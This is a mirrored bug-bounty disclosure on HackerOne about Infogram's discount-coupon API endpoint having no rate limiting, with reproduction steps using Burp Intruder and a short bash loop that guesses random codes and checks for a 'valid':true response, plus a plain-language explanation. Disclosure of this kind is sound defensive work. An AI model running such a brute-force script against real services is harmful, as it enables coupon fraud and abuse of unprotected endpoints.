Skip to content
Business logic Disclosed report Beginner

Bruteforcing Coupons

An API endpoint for checking discount coupons had no rate limiting, allowing an attacker to brute-force coupon codes and identify valid ones by filtering responses for a success indicator.

t-pwn Follow

Originally disclosed on HackerOne

  • Triaged in 25 days
  • Fixed in 33 days
  • Disclosed after 33 days

Hi,

while i was fuzzing for an API endpoints i found this endpoint: https://infogram.com/api/discounts the first thing came on my mind is bruteforcing the coupon codes so i gave it a try and it worked! there's no rate limit on that endpoint so an attacker could use it to bruteforce the coupon codes and filter the results to snipe the "valid":true response

##Steps to reproduce:

  • intercept the request using burpsuite or any proxy tool you would like to use

  • send the request to the intruder

  • configure the payload position

    Screenshot_from_2017-11-09_10-28-27.png
    Screenshot_from_2017-11-09_10-28-27.png From the original on HackerOne
  • start the attack

i wrote a simple script in bash to do the operation


#!/bin/bash

while [ 1 ]
do

  coupon=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1)
  curl=$(curl -i -s -k  -X $'GET' \
    -H $'X-Requested-With: XMLHttpRequest' \
    -b $'Cookies:XXXXXXX' \
    $'https://infogram.com/api/discounts/$coupon')

  if [[ $curl == *"valid":true* ]]
    echo "$coupon is valid";
  else
    echo "$coupon is invalid";
  
break;

Thanks.

The original report as published on HackerOne, by t-pwn. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint lacked rate limiting or any other restriction on the number of requests per user or IP address.

Impact

An attacker could brute-force coupon codes and identify valid ones.

What the attacker needed

Access to the API endpoint; ability to send many requests

How it was found

  1. Intercept the request to the discount endpoint using a proxy tool.
  2. Send the request to the intruder tool.
  3. Configure the payload position for the coupon code.
  4. Start the attack to try many coupon codes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A coupon code is a short secret that gives a discount. The website let anyone try as many codes as they wanted, very quickly, without slowing them down. So a person could guess codes until they found a working one.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by t-pwn

View all

5 more disclosed reports, best first.

More from Infogram

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.